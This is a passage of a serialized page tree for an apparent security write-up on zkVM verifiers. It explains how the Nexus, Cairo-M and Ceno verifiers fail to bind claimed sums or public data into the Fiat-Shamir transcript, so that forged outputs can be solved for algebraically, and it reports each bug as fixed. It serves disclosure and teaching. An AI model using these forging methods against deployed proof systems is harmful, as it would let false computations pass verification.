",{"type":23,"tag":64,"props":115292,"children":115294},{"className":115293},[],[115295],{"type":28,"value":112443},{"type":28,"value":115297},", the overall composition polynomial is linear in all ",{"type":23,"tag":64,"props":115299,"children":115301},{"className":115300},[],[115302],{"type":28,"value":112443},{"type":28,"value":115304}," values.",{"type":23,"tag":24,"props":115306,"children":115307},{},[115308,115310],{"type":28,"value":115309},"The verifier checks ",{"type":23,"tag":64,"props":115311,"children":115313},{"className":115312},[1527,1528],[115314],{"type":23,"tag":481,"props":115315,"children":115317},{"className":115316},[1533],[115318],{"type":23,"tag":481,"props":115319,"children":115321},{"className":115320,"ariaHidden":1539},[1538],[115322,115383],{"type":23,"tag":481,"props":115323,"children":115325},{"className":115324},[1544],[115326,115330,115335,115340,115350,115355,115365,115370,115374,115379],{"type":23,"tag":481,"props":115327,"children":115329},{"className":115328,"style":90521},[1549],[],{"type":23,"tag":481,"props":115331,"children":115333},{"className":115332,"style":19618},[1555,19086],[115334],{"type":28,"value":113808},{"type":23,"tag":481,"props":115336,"children":115338},{"className":115337},[19215],[115339],{"type":28,"value":618},{"type":23,"tag":481,"props":115341,"children":115343},{"className":115342},[1555,28],[115344],{"type":23,"tag":481,"props":115345,"children":115347},{"className":115346},[1555],[115348],{"type":28,"value":115349},"oods",{"type":23,"tag":481,"props":115351,"children":115353},{"className":115352,"style":90579},[1555],[115354],{"type":28,"value":593},{"type":23,"tag":481,"props":115356,"children":115358},{"className":115357},[1555,28],[115359],{"type":23,"tag":481,"props":115360,"children":115362},{"className":115361},[1555],[115363],{"type":28,"value":115364},"point",{"type":23,"tag":481,"props":115366,"children":115368},{"className":115367},[19237],[115369],{"type":28,"value":642},{"type":23,"tag":481,"props":115371,"children":115373},{"className":115372,"style":1734},[1636],[],{"type":23,"tag":481,"props":115375,"children":115377},{"className":115376},[1739],[115378],{"type":28,"value":603},{"type":23,"tag":481,"props":115380,"children":115382},{"className":115381,"style":1734},[1636],[],{"type":23,"tag":481,"props":115384,"children":115386},{"className":115385},[1544],[115387,115391],{"type":23,"tag":481,"props":115388,"children":115390},{"className":115389,"style":112634},[1549],[],{"type":23,"tag":481,"props":115392,"children":115394},{"className":115393},[1555,28],[115395],{"type":23,"tag":481,"props":115396,"children":115398},{"className":115397},[1555],[115399],{"type":28,"value":114133},{"type":23,"tag":24,"props":115401,"children":115402},{},[115403,115405,115410,115412,115417],{"type":28,"value":115404},"With ",{"type":23,"tag":64,"props":115406,"children":115408},{"className":115407},[],[115409],{"type":28,"value":112443},{"type":28,"value":115411}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":23,"tag":64,"props":115413,"children":115415},{"className":115414},[],[115416],{"type":28,"value":112443},{"type":28,"value":115418}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":23,"tag":24,"props":115420,"children":115421},{},[115422,115426,115428],{"type":23,"tag":2875,"props":115423,"children":115424},{},[115425],{"type":28,"value":114289},{"type":28,"value":115427}," Fixed on October 24, 2025 via ",{"type":23,"tag":190,"props":115429,"children":115432},{"href":115430,"rel":115431},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[194],[115433],{"type":28,"value":115434},"PR #503",{"type":23,"tag":16288,"props":115436,"children":115437},{},[],{"type":23,"tag":7092,"props":115439,"children":115441},{"id":115440},"cairo-m-kakarot-labs",[115442],{"type":28,"value":115443},"Cairo-M (Kakarot Labs)",{"type":23,"tag":24,"props":115445,"children":115446},{},[115447],{"type":28,"value":115448},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":23,"tag":24,"props":115450,"children":115451},{},[115452],{"type":28,"value":115453},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":23,"tag":24,"props":115455,"children":115456},{},[115457],{"type":23,"tag":2875,"props":115458,"children":115459},{},[115460],{"type":28,"value":112995},{"type":23,"tag":435,"props":115462,"children":115464},{"code":115463},"Proof {\n claim: ComponentSizes,\n interaction_claim: LogupClaimsPerComponent,\n public_data: { // \u003C- VULNERABLE\n initial_registers: { pc, fp },\n final_registers: { pc, fp }, // \u003C- forged\n clock, // \u003C- forged\n initial_root, \n final_root, // \u003C- forged\n public_memory: { program, input, output }, //output modified\n },\n stark_proof: [...],\n}\n",[115465],{"type":23,"tag":64,"props":115466,"children":115467},{"__ignoreMap":7},[115468],{"type":28,"value":115463},{"type":23,"tag":24,"props":115470,"children":115471},{},[115472],{"type":23,"tag":2875,"props":115473,"children":115474},{},[115475],{"type":28,"value":113011},{"type":23,"tag":24,"props":115477,"children":115478},{},[115479],{"type":23,"tag":149,"props":115480,"children":115483},{"alt":115481,"src":115482},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":23,"tag":24,"props":115485,"children":115486},{},[115487,115489,115495],{"type":28,"value":115488},"Lookup challenges are derived without ",{"type":23,"tag":64,"props":115490,"children":115492},{"className":115491},[],[115493],{"type":28,"value":115494},"public_data",{"type":28,"value":115496}," being mixed into the transcript.",{"type":23,"tag":24,"props":115498,"children":115499},{},[115500,115501,115506,115508,115513],{"type":28,"value":14104},{"type":23,"tag":64,"props":115502,"children":115504},{"className":115503},[],[115505],{"type":28,"value":115494},{"type":28,"value":115507}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":23,"tag":127,"props":115509,"children":115510},{},[115511],{"type":28,"value":115512},"denominators",{"type":28,"value":115514}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the form:",{"type":23,"tag":24,"props":115516,"children":115517},{},[115518],{"type":23,"tag":64,"props":115519,"children":115521},{"className":115520},[1527,1528],[115522],{"type":23,"tag":481,"props":115523,"children":115525},{"className":115524},[1533],[115526],{"type":23,"tag":481,"props":115527,"children":115529},{"className":115528,"ariaHidden":1539},[1538],[115530,115590,115636,115682],{"type":23,"tag":481,"props":115531,"children":115533},{"className":115532},[1544],[115534,115538,115544,115549,115558,115563,115572,115577,115581,115586],{"type":23,"tag":481,"props":115535,"children":115537},{"className":115536,"style":90521},[1549],[],{"type":23,"tag":481,"props":115539,"children":115541},{"className":115540},[1555,19086],[115542],{"type":28,"value":115543},"L",{"type":23,"tag":481,"props":115545,"children":115547},{"className":115546},[19215],[115548],{"type":28,"value":618},{"type":23,"tag":481,"props":115550,"children":115552},{"className":115551},[1555,28],[115553],{"type":23,"tag":481,"props":115554,"children":115556},{"className":115555},[1555],[115557],{"type":28,"value":59203},{"type":23,"tag":481,"props":115559,"children":115561},{"className":115560,"style":90579},[1555],[115562],{"type":28,"value":593},{"type":23,"tag":481,"props":115564,"children":115566},{"className":115565},[1555,28],[115567],{"type":23,"tag":481,"props":115568,"children":115570},{"className":115569},[1555],[115571],{"type":28,"value":1237},{"type":23,"tag":481,"props":115573,"children":115575},{"className":115574},[19237],[115576],{"type":28,"value":642},{"type":23,"tag":481,"props":115578,"children":115580},{"className":115579,"style":1637},[1636],[],{"type":23,"tag":481,"props":115582,"children":115584},{"className":115583},[1642],[115585],{"type":28,"value":1930},{"type":23,"tag":481,"props":115587,"children":115589},{"className":115588,"style":1637},[1636],[],{"type":23,"tag":481,"props":115591,"children":115593},{"className":115592},[1544],[115594,115598,115608,115613,115623,115627,115632],{"type":23,"tag":481,"props":115595,"children":115597},{"className":115596,"style":90521},[1549],[],{"type":23,"tag":481,"props":115599,"children":115601},{"className":115600},[1555,28],[115602],{"type":23,"tag":481,"props":115603,"children":115605},{"className":115604},[1555],[115606],{"type":28,"value":115607},"(other transcript",{"type":23,"tag":481,"props":115609,"children":115611},{"className":115610,"style":90579},[1555],[115612],{"type":28,"value":593},{"type":23,"tag":481,"props":115614,"children":115616},{"className":115615},[1555,28],[115617],{"type":23,"tag":481,"props":115618,"children":115620},{"className":115619},[1555],[115621],{"type":28,"value":115622},"bound terms)",{"type":23,"tag":481,"props":115624,"children":115626},{"className":115625,"style":1734},[1636],[],{"type":23,"tag":481,"props":115628,"children":115630},{"className":115629},[1739],[115631],{"type":28,"value":603},{"type":23,"tag":481,"props":115633,"children":115635},{"className":115634,"style":1734},[1636],[],{"type":23,"tag":481,"props":115637,"children":115639},{"className":115638},[1544],[115640,115645,115650,115655,115660,115664,115669,115673,115678],{"type":23,"tag":481,"props":115641,"children":115644},{"className":115642,"style":115643},[1549],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":23,"tag":481,"props":115646,"children":115648},{"className":115647},[1555],[115649],{"type":28,"value":1568},{"type":23,"tag":481,"props":115651,"children":115653},{"className":115652},[1668],[115654],{"type":28,"value":1671},{"type":23,"tag":481,"props":115656,"children":115659},{"className":115657,"style":115658},[1636],"margin-right:2em;",[],{"type":23,"tag":481,"props":115661,"children":115663},{"className":115662,"style":1675},[1636],[],{"type":23,"tag":481,"props":115665,"children":115667},{"className":115666},[1555,19086],[115668],{"type":28,"value":115543},{"type":23,"tag":481,"props":115670,"children":115672},{"className":115671,"style":1734},[1636],[],{"type":23,"tag":481,"props":115674,"children":115676},{"className":115675},[1739],[115677],{"type":28,"value":603},{"type":23,"tag":481,"props":115679,"children":115681},{"className":115680,"style":1734},[1636],[],{"type":23,"tag":481,"props":115683,"children":115685},{"className":115684},[1544],[115686,115691,115748,115752,115970],{"type":23,"tag":481,"props":115687,"children":115690},{"className":115688,"style":115689},[1549],"height:1.4071em;vertical-align:-0.562em;",[],{"type":23,"tag":481,"props":115692,"children":115694},{"className":115693},[19122],[115695,115700],{"type":23,"tag":481,"props":115696,"children":115698},{"className":115697,"style":19129},[19122,19127,19128],[115699],{"type":28,"value":106374},{"type":23,"tag":481,"props":115701,"children":115703},{"className":115702},[1572],[115704],{"type":23,"tag":481,"props":115705,"children":115707},{"className":115706},[1577,19140],[115708,115737],{"type":23,"tag":481,"props":115709,"children":115711},{"className":115710},[1582],[115712,115732],{"type":23,"tag":481,"props":115713,"children":115715},{"className":115714,"style":111786},[1587],[115716],{"type":23,"tag":481,"props":115717,"children":115718},{"style":19153},[115719,115723],{"type":23,"tag":481,"props":115720,"children":115722},{"className":115721,"style":1597},[1596],[],{"type":23,"tag":481,"props":115724,"children":115726},{"className":115725},[1602,1603,1604,1605],[115727],{"type":23,"tag":481,"props":115728,"children":115730},{"className":115729},[1555,19086,1605],[115731],{"type":28,"value":1274},{"type":23,"tag":481,"props":115733,"children":115735},{"className":115734},[19243],[115736],{"type":28,"value":19246},{"type":23,"tag":481,"props":115738,"children":115740},{"className":115739},[1582],[115741],{"type":23,"tag":481,"props":115742,"children":115744},{"className":115743,"style":112066},[1587],[115745],{"type":23,"tag":481,"props":115746,"children":115747},{},[],{"type":23,"tag":481,"props":115749,"children":115751},{"className":115750,"style":1675},[1636],[],{"type":23,"tag":481,"props":115753,"children":115755},{"className":115754},[1555],[115756,115760,115966],{"type":23,"tag":481,"props":115757,"children":115759},{"className":115758},[19215,111097],[],{"type":23,"tag":481,"props":115761,"children":115763},{"className":115762},[111102],[115764],{"type":23,"tag":481,"props":115765,"children":115767},{"className":115766},[1577,19140],[115768,115954],{"type":23,"tag":481,"props":115769,"children":115771},{"className":115770},[1582],[115772,115949],{"type":23,"tag":481,"props":115773,"children":115775},{"className":115774,"style":111115},[1587],[115776,115918,115929],{"type":23,"tag":481,"props":115777,"children":115778},{"style":111119},[115779,115783],{"type":23,"tag":481,"props":115780,"children":115782},{"className":115781,"style":109750},[1596],[],{"type":23,"tag":481,"props":115784,"children":115786},{"className":115785},[1602,1603,1604,1605],[115787],{"type":23,"tag":481,"props":115788,"children":115790},{"className":115789},[1555,1605],[115791,115796,115801,115807,115812,115817,115874,115879,115888,115893,115902,115908,115913],{"type":23,"tag":481,"props":115792,"children":115794},{"className":115793,"style":111136},[1555,19086,1605],[115795],{"type":28,"value":111139},{"type":23,"tag":481,"props":115797,"children":115799},{"className":115798},[1642,1605],[115800],{"type":28,"value":1930},{"type":23,"tag":481,"props":115802,"children":115804},{"className":115803},[19215,1605],[115805],{"type":28,"value":115806},"⟨",{"type":23,"tag":481,"props":115808,"children":115810},{"className":115809,"style":112667},[1555,19086,1605],[115811],{"type":28,"value":112670},{"type":23,"tag":481,"props":115813,"children":115815},{"className":115814},[1668,1605],[115816],{"type":28,"value":1671},{"type":23,"tag":481,"props":115818,"children":115820},{"className":115819},[1555,1605],[115821,115826],{"type":23,"tag":481,"props":115822,"children":115824},{"className":115823},[1555,19086,1605],[115825],{"type":28,"value":19228},{"type":23,"tag":481,"props":115827,"children":115829},{"className":115828},[1572],[115830],{"type":23,"tag":481,"props":115831,"children":115833},{"className":115832},[1577,19140],[115834,115863],{"type":23,"tag":481,"props":115835,"children":115837},{"className":115836},[1582],[115838,115858],{"type":23,"tag":481,"props":115839,"children":115841},{"className":115840,"style":111903},[1587],[115842],{"type":23,"tag":481,"props":115843,"children":115844},{"style":106434},[115845,115849],{"type":23,"tag":481,"props":115846,"children":115848},{"className":115847,"style":106439},[1596],[],{"type":23,"tag":481,"props":115850,"children":115852},{"className":115851},[1602,106444,106445,1605],[115853],{"type":23,"tag":481,"props":115854,"children":115856},{"className":115855},[1555,19086,1605],[115857],{"type":28,"value":1274},{"type":23,"tag":481,"props":115859,"children":115861},{"className":115860},[19243],[115862],{"type":28,"value":19246},{"type":23,"tag":481,"props":115864,"children":115866},{"className":115865},[1582],[115867],{"type":23,"tag":481,"props":115868,"children":115870},{"className":115869,"style":106464},[1587],[115871],{"type":23,"tag":481,"props":115872,"children":115873},{},[],{"type":23,"tag":481,"props":115875,"children":115877},{"className":115876},[19215,1605],[115878],{"type":28,"value":618},{"type":23,"tag":481,"props":115880,"children":115882},{"className":115881},[1555,28,1605],[115883],{"type":23,"tag":481,"props":115884,"children":115886},{"className":115885},[1555,1605],[115887],{"type":28,"value":59203},{"type":23,"tag":481,"props":115889,"children":115891},{"className":115890,"style":90579},[1555,1605],[115892],{"type":28,"value":593},{"type":23,"tag":481,"props":115894,"children":115896},{"className":115895},[1555,28,1605],[115897],{"type":23,"tag":481,"props":115898,"children":115900},{"className":115899},[1555,1605],[115901],{"type":28,"value":1237},{"type":23,"tag":481,"props":115903,"children":115905},{"className":115904},[19237,1605],[115906],{"type":28,"value":115907},")⟩",{"type":23,"tag":481,"props":115909,"children":115911},{"className":115910},[1642,1605],[115912],{"type":28,"value":1930},{"type":23,"tag":481,"props":115914,"children":115916},{"className":115915,"style":112722},[1555,19086,1605],[115917],{"type":28,"value":112725},{"type":23,"tag":481,"props":115919,"children":115920},{"style":111152},[115921,115925],{"type":23,"tag":481,"props":115922,"children":115924},{"className":115923,"style":109750},[1596],[],{"type":23,"tag":481,"props":115926,"children":115928},{"className":115927,"style":111162},[111161],[],{"type":23,"tag":481,"props":115930,"children":115931},{"style":111166},[115932,115936],{"type":23,"tag":481,"props":115933,"children":115935},{"className":115934,"style":109750},[1596],[],{"type":23,"tag":481,"props":115937,"children":115939},{"className":115938},[1602,1603,1604,1605],[115940],{"type":23,"tag":481,"props":115941,"children":115943},{"className":115942},[1555,1605],[115944],{"type":23,"tag":481,"props":115945,"children":115947},{"className":115946},[1555,1605],[115948],{"type":28,"value":1558},{"type":23,"tag":481,"props":115950,"children":115952},{"className":115951},[19243],[115953],{"type":28,"value":19246},{"type":23,"tag":481,"props":115955,"children":115957},{"className":115956},[1582],[115958],{"type":23,"tag":481,"props":115959,"children":115962},{"className":115960,"style":115961},[1587],"height:0.562em;",[115963],{"type":23,"tag":481,"props":115964,"children":115965},{},[],{"type":23,"tag":481,"props":115967,"children":115969},{"className":115968},[19237,111097],[],{"type":23,"tag":481,"props":115971,"children":115973},{"className":115972},[1555],[115974],{"type":28,"value":199},{"type":23,"tag":24,"props":115976,"children":115977},{},[115978,115980],{"type":28,"value":115979},"The global check is then that ",{"type":23,"tag":64,"props":115981,"children":115983},{"className":115982},[1527,1528],[115984],{"type":23,"tag":481,"props":115985,"children":115987},{"className":115986},[1533],[115988],{"type":23,"tag":481,"props":115989,"children":115991},{"className":115990,"ariaHidden":1539},[1538],[115992,116033,116064],{"type":23,"tag":481,"props":115993,"children":115995},{"className":115994},[1544],[115996,116000,116005,116010,116015,116020,116024,116029],{"type":23,"tag":481,"props":115997,"children":115999},{"className":115998,"style":1657},[1549],[],{"type":23,"tag":481,"props":116001,"children":116003},{"className":116002},[1555,19086],[116004],{"type":28,"value":115543},{"type":23,"tag":481,"props":116006,"children":116008},{"className":116007},[19215],[116009],{"type":28,"value":618},{"type":23,"tag":481,"props":116011,"children":116013},{"className":116012},[1555,19086],[116014],{"type":28,"value":24},{"type":23,"tag":481,"props":116016,"children":116018},{"className":116017},[19237],[116019],{"type":28,"value":642},{"type":23,"tag":481,"props":116021,"children":116023},{"className":116022,"style":1637},[1636],[],{"type":23,"tag":481,"props":116025,"children":116027},{"className":116026},[1642],[116028],{"type":28,"value":1930},{"type":23,"tag":481,"props":116030,"children":116032},{"className":116031,"style":1637},[1636],[],{"type":23,"tag":481,"props":116034,"children":116036},{"className":116035},[1544],[116037,116041,116051,116055,116060],{"type":23,"tag":481,"props":116038,"children":116040},{"className":116039,"style":1657},[1549],[],{"type":23,"tag":481,"props":116042,"children":116044},{"className":116043},[1555,28],[116045],{"type":23,"tag":481,"props":116046,"children":116048},{"className":116047},[1555],[116049],{"type":28,"value":116050},"(other terms)",{"type":23,"tag":481,"props":116052,"children":116054},{"className":116053,"style":1734},[1636],[],{"type":23,"tag":481,"props":116056,"children":116058},{"className":116057},[1739],[116059],{"type":28,"value":603},{"type":23,"tag":481,"props":116061,"children":116063},{"className":116062,"style":1734},[1636],[],{"type":23,"tag":481,"props":116065,"children":116067},{"className":116066},[1544],[116068,116072],{"type":23,"tag":481,"props":116069,"children":116071},{"className":116070,"style":91610},[1549],[],{"type":23,"tag":481,"props":116073,"children":116075},{"className":116074},[1555],[116076],{"type":28,"value":1568},{"type":23,"tag":24,"props":116078,"children":116079},{},[116080],{"type":28,"value":116081},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":23,"tag":24,"props":116083,"children":116084},{},[116085],{"type":28,"value":116086},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field system.",{"type":23,"tag":24,"props":116088,"children":116089},{},[116090,116094,116096],{"type":23,"tag":2875,"props":116091,"children":116092},{},[116093],{"type":28,"value":114289},{"type":28,"value":116095}," Fixed on October 31, 2025 via ",{"type":23,"tag":190,"props":116097,"children":116100},{"href":116098,"rel":116099},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[194],[116101],{"type":28,"value":116102},"commit 92b6740",{"type":23,"tag":16288,"props":116104,"children":116105},{},[],{"type":23,"tag":7092,"props":116107,"children":116109},{"id":116108},"ceno-scroll",[116110],{"type":28,"value":116111},"Ceno (Scroll)",{"type":23,"tag":24,"props":116113,"children":116114},{},[116115],{"type":28,"value":116116},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":23,"tag":24,"props":116118,"children":116119},{},[116120,116122,116127],{"type":28,"value":116121},"Ceno splits verification into ",{"type":23,"tag":2875,"props":116123,"children":116124},{},[116125],{"type":28,"value":116126},"chips",{"type":28,"value":116128},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":23,"tag":24,"props":116130,"children":116131},{},[116132,116134,116139],{"type":28,"value":116133},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":23,"tag":2875,"props":116135,"children":116136},{},[116137],{"type":28,"value":116138},"tower sumcheck",{"type":28,"value":199},{"type":23,"tag":24,"props":116141,"children":116142},{},[116143],{"type":28,"value":116144},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":23,"tag":24,"props":116146,"children":116147},{},[116148],{"type":23,"tag":64,"props":116149,"children":116151},{"className":116150},[1527,1528],[116152],{"type":23,"tag":481,"props":116153,"children":116155},{"className":116154},[1533],[116156],{"type":23,"tag":481,"props":116157,"children":116159},{"className":116158,"ariaHidden":1539},[1538],[116160,116334,116507],{"type":23,"tag":481,"props":116161,"children":116163},{"className":116162},[1544],[116164,116168,116226,116230,116239,116244,116254,116259,116321,116325,116330],{"type":23,"tag":481,"props":116165,"children":116167},{"className":116166,"style":90521},[1549],[],{"type":23,"tag":481,"props":116169,"children":116171},{"className":116170},[19122],[116172,116178],{"type":23,"tag":481,"props":116173,"children":116175},{"className":116174,"style":19129},[19122,19127,19128],[116176],{"type":28,"value":116177},"∏",{"type":23,"tag":481,"props":116179,"children":116181},{"className":116180},[1572],[116182],{"type":23,"tag":481,"props":116183,"children":116185},{"className":116184},[1577,19140],[116186,116215],{"type":23,"tag":481,"props":116187,"children":116189},{"className":116188},[1582],[116190,116210],{"type":23,"tag":481,"props":116191,"children":116193},{"className":116192,"style":111786},[1587],[116194],{"type":23,"tag":481,"props":116195,"children":116196},{"style":19153},[116197,116201],{"type":23,"tag":481,"props":116198,"children":116200},{"className":116199,"style":1597},[1596],[],{"type":23,"tag":481,"props":116202,"children":116204},{"className":116203},[1602,1603,1604,1605],[116205],{"type":23,"tag":481,"props":116206,"children":116208},{"className":116207},[1555,19086,1605],[116209],{"type":28,"value":1274},{"type":23,"tag":481,"props":116211,"children":116213},{"className":116212},[19243],[116214],{"type":28,"value":19246},{"type":23,"tag":481,"props":116216,"children":116218},{"className":116217},[1582],[116219],{"type":23,"tag":481,"props":116220,"children":116222},{"className":116221,"style":112066},[1587],[116223],{"type":23,"tag":481,"props":116224,"children":116225},{},[],{"type":23,"tag":481,"props":116227,"children":116229},{"className":116228,"style":1675},[1636],[],{"type":23,"tag":481,"props":116231,"children":116233},{"className":116232},[1555,28],[116234],{"type":23,"tag":481,"props":116235,"children":116237},{"className":116236},[1555],[116238],{"type":28,"value":91398},{"type":23,"tag":481,"props":116240,"children":116242},{"className":116241,"style":90579},[1555],[116243],{"type":28,"value":593},{"type":23,"tag":481,"props":116245,"children":116247},{"className":116246},[1555,28],[116248],{"type":23,"tag":481,"props":116249,"children":116251},{"className":116250},[1555],[116252],{"type":28,"value":116253},"out",{"type":23,"tag":481,"props":116255,"children":116257},{"className":116256,"style":90579},[1555],[116258],{"type":28,"value":593},{"type":23,"tag":481,"props":116260,"children":116262},{"className":116261},[1555],[116263,116273],{"type":23,"tag":481,"props":116264,"children":116266},{"className":116265},[1555,28],[116267],{"type":23,"tag":481,"props":116268,"children":116270},{"className":116269},[1555],[116271],{"type":28,"value":116272},"evals",{"type":23,"tag":481,"props":116274,"children":116276},{"className":116275},[1572],[116277],{"type":23,"tag":481,"props":116278,"children":116280},{"className":116279},[1577,19140],[116281,116310],{"type":23,"tag":481,"props":116282,"children":116284},{"className":116283},[1582],[116285,116305],{"type":23,"tag":481,"props":116286,"children":116288},{"className":116287,"style":91108},[1587],[116289],{"type":23,"tag":481,"props":116290,"children":116291},{"style":111709},[116292,116296],{"type":23,"tag":481,"props":116293,"children":116295},{"className":116294,"style":1597},[1596],[],{"type":23,"tag":481,"props":116297,"children":116299},{"className":116298},[1602,1603,1604,1605],[116300],{"type":23,"tag":481,"props":116301,"children":116303},{"className":116302},[1555,19086,1605],[116304],{"type":28,"value":1274},{"type":23,"tag":481,"props":116306,"children":116308},{"className":116307},[19243],[116309],{"type":28,"value":19246},{"type":23,"tag":481,"props":116311,"children":116313},{"className":116312},[1582],[116314],{"type":23,"tag":481,"props":116315,"children":116317},{"className":116316,"style":90662},[1587],[116318],{"type":23,"tag":481,"props":116319,"children":116320},{},[],{"type":23,"tag":481,"props":116322,"children":116324},{"className":116323,"style":1734},[1636],[],{"type":23,"tag":481,"props":116326,"children":116328},{"className":116327},[1739],[116329],{"type":28,"value":603},{"type":23,"tag":481,"props":116331,"children":116333},{"className":116332,"style":1734},[1636],[],{"type":23,"tag":481,"props":116335,"children":116337},{"className":116336},[1544],[116338,116343,116400,116404,116413,116418,116427,116432,116494,116498,116503],{"type":23,"tag":481,"props":116339,"children":116342},{"className":116340,"style":116341},[1549],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":23,"tag":481,"props":116344,"children":116346},{"className":116345},[19122],[116347,116352],{"type":23,"tag":481,"props":116348,"children":116350},{"className":116349,"style":19129},[19122,19127,19128],[116351],{"type":28,"value":116177},{"type":23,"tag":481,"props":116353,"children":116355},{"className":116354},[1572],[116356],{"type":23,"tag":481,"props":116357,"children":116359},{"className":116358},[1577,19140],[116360,116389],{"type":23,"tag":481,"props":116361,"children":116363},{"className":116362},[1582],[116364,116384],{"type":23,"tag":481,"props":116365,"children":116367},{"className":116366,"style":111786},[1587],[116368],{"type":23,"tag":481,"props":116369,"children":116370},{"style":19153},[116371,116375],{"type":23,"tag":481,"props":116372,"children":116374},{"className":116373,"style":1597},[1596],[],{"type":23,"tag":481,"props":116376,"children":116378},{"className":116377},[1602,1603,1604,1605],[116379],{"type":23,"tag":481,"props":116380,"children":116382},{"className":116381,"style":111802},[1555,19086,1605],[116383],{"type":28,"value":6136},{"type":23,"tag":481,"props":116385,"children":116387},{"className":116386},[19243],[116388],{"type":28,"value":19246},{"type":23,"tag":481,"props":116390,"children":116392},{"className":116391},[1582],[116393],{"type":23,"tag":481,"props":116394,"children":116396},{"className":116395,"style":111817},[1587],[116397],{"type":23,"tag":481,"props":116398,"children":116399},{},[],{"type":23,"tag":481,"props":116401,"children":116403},{"className":116402,"style":1675},[1636],[],{"type":23,"tag":481,"props":116405,"children":116407},{"className":116406},[1555,28],[116408],{"type":23,"tag":481,"props":116409,"children":116411},{"className":116410},[1555],[116412],{"type":28,"value":47097},{"type":23,"tag":481,"props":116414,"children":116416},{"className":116415,"style":90579},[1555],[116417],{"type":28,"value":593},{"type":23,"tag":481,"props":116419,"children":116421},{"className":116420},[1555,28],[116422],{"type":23,"tag":481,"props":116423,"children":116425},{"className":116424},[1555],[116426],{"type":28,"value":116253},{"type":23,"tag":481,"props":116428,"children":116430},{"className":116429,"style":90579},[1555],[116431],{"type":28,"value":593},{"type":23,"tag":481,"props":116433,"children":116435},{"className":116434},[1555],[116436,116445],{"type":23,"tag":481,"props":116437,"children":116439},{"className":116438},[1555,28],[116440],{"type":23,"tag":481,"props":116441,"children":116443},{"className":116442},[1555],[116444],{"type":28,"value":116272},{"type":23,"tag":481,"props":116446,"children":116448},{"className":116447},[1572],[116449],{"type":23,"tag":481,"props":116450,"children":116452},{"className":116451},[1577,19140],[116453,116482],{"type":23,"tag":481,"props":116454,"children":116456},{"className":116455},[1582],[116457,116477],{"type":23,"tag":481,"props":116458,"children":116460},{"className":116459,"style":91108},[1587],[116461],{"type":23,"tag":481,"props":116462,"children":116463},{"style":111709},[116464,116468],{"type":23,"tag":481,"props":116465,"children":116467},{"className":116466,"style":1597},[1596],[],{"type":23,"tag":481,"props":116469,"children":116471},{"className":116470},[1602,1603,1604,1605],[116472],{"type":23,"tag":481,"props":116473,"children":116475},{"className":116474,"style":111802},[1555,19086,1605],[116476],{"type":28,"value":6136},{"type":23,"tag":481,"props":116478,"children":116480},{"className":116479},[19243],[116481],{"type":28,"value":19246},{"type":23,"tag":481,"props":116483,"children":116485},{"className":116484},[1582],[116486],{"type":23,"tag":481,"props":116487,"children":116490},{"className":116488,"style":116489},[1587],"height:0.2861em;",[116491],{"type":23,"tag":481,"props":116492,"children":116493},{},[],{"type":23,"tag":481,"props":116495,"children":116497},{"className":116496,"style":1637},[1636],[],{"type":23,"tag":481,"props":116499,"children":116501},{"className":116500},[1642],[116502],{"type":28,"value":108841},{"type":23,"tag":481,"props":116504,"children":116506},{"className":116505,"style":1637},[1636],[],{"type":23,"tag":481,"props":116508,"children":116510},{"className":116509},[1544],[116511,116515,116520,116530],{"type":23,"tag":481,"props":116512,"children":116514},{"className":116513,"style":1657},[1549],[],{"type":23,"tag":481,"props":116516,"children":116518},{"className":116517},[19215],[116519],{"type":28,"value":618},{"type":23,"tag":481,"props":116521,"children":116523},{"className":116522},[1555,28],[116524],{"type":23,"tag":481,"props":116525,"children":116527},{"className":116526},[1555],[116528],{"type":28,"value":116529},"state factors",{"type":23,"tag":481,"props":116531,"children":116533},{"className":116532},[19237],[116534],{"type":28,"value":642},{"type":23,"tag":24,"props":116536,"children":116537},{},[116538],{"type":23,"tag":2875,"props":116539,"children":116540},{},[116541],{"type":28,"value":112995},{"type":23,"tag":435,"props":116543,"children":116545},{"code":116544},"ZKVMChipProof {\n r_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n w_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n lk_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n tower_proof: [...],\n gkr_iop_proof: [...],\n}\n",[116546],{"type":23,"tag":64,"props":116547,"children":116548},{"__ignoreMap":7},[116549],{"type":28,"value":116544},{"type":23,"tag":24,"props":116551,"children":116552},{},[116553,116559,116560,116566,116567,116573],{"type":23,"tag":64,"props":116554,"children":116556},{"className":116555},[],[116557],{"type":28,"value":116558},"r_out_evals",{"type":28,"value":588},{"type":23,"tag":64,"props":116561,"children":116563},{"className":116562},[],[116564],{"type":28,"value":116565},"w_out_evals",{"type":28,"value":3965},{"type":23,"tag":64,"props":116568,"children":116570},{"className":116569},[],[116571],{"type":28,"value":116572},"lk_out_evals",{"type":28,"value":116574}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":23,"tag":73,"props":116576,"children":116577},{},[116578],{"type":23,"tag":77,"props":116579,"children":116580},{},[116581,116586,116588,116594],{"type":23,"tag":2875,"props":116582,"children":116583},{},[116584],{"type":28,"value":116585},"GKR/Tower equation",{"type":28,"value":116587}," (linear in 